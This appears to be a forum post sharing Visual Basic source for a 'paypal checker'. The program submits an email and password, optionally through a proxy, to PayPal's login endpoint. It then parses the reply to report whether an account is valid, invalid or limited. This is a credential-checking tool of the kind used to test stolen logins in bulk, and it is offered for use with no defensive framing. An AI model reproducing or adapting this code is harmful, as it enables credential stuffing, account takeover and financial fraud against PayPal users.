paypal checker

Code:

Private Sub cmdCheck_Click()
On Error GoTo Error
Dim Data As String

'Check for valid proxy input
If Proxy.Value = 1 Then
If txtHost = vbNullString Or txtPort = vbNullString Then
MsgBox "Please input both host/port for proxy", vbCritical, "Error"
Exit Sub
Else
cntNet.Proxy = txtHost & ":" & txtPort
End If
End If

'Check for valid account input
If txtEmail = vbNullString Or txtPassword = vbNullString Then
MsgBox "Please input both email/password for account", vbCritical, "Error"
Exit Sub
Else
Data = cntNet.OpenURL("http://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f35bed810ca2922 4194ca8b1b097b671988f0ad0034239f2
2&login_cmd=&login_params=&login_email=" & txtEmail.Text & "&login_password=" & txtPassword.Text & "&submit.x=Log+In&form_charset=UTF-8&browser_name=Firefox&browser_version=2&operating _system=Windows&iconix_installed=0")
End If

'Check state of account
If InStr(1, Data, "Logging") Then
MsgBox "Account details valid!", vbExclamation, "Success"
ElseIf InStr(1, Data, "The information") Then
MsgBox "Account details invalid!", vbCritical, "Error"
ElseIf InStr(1, Data, "Security Measures") Then
MsgBox "Account details valid but limited!", vbExclamation, "Success"
End If
Exit Sub

Error:
MsgBox "Unknown error while checking account details", vbCritical, "Error"
Exit Sub
End Sub